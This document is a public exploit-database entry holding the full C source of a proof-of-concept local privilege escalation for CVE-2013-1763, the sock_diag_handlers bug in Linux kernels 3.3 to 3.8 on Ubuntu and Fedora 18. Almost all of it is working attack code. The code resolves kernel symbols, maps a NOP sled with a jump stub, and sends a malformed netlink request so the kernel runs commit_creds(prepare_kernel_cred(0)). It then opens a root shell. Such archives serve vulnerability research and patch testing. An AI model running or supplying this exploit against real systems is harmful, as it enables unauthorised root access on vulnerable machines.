Linux Kernel 3.3 < 3.8 (Ubuntu / Fedora 18) - 'sock_diag_handlers()' Local Privilege Escalation (3)
/* * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 89; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==1){ printf("Run: %s Fedora|Ubuntu\n",argv[0]); return 0; } else if(strcmp(argv[1],"Fedora")==0){ commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 4; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } } else if(strcmp(argv[1],"Ubuntu")==0){ commit_creds = (_commit_creds) 0xc106bc60; prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; req.r.sdiag_family = 81; } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long)kernel_code; memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); if ( send(fd, &req, sizeof(req), 0) < 0) { printf("bad send\n"); close(fd); return -1; } printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) system("/bin/sh"); } |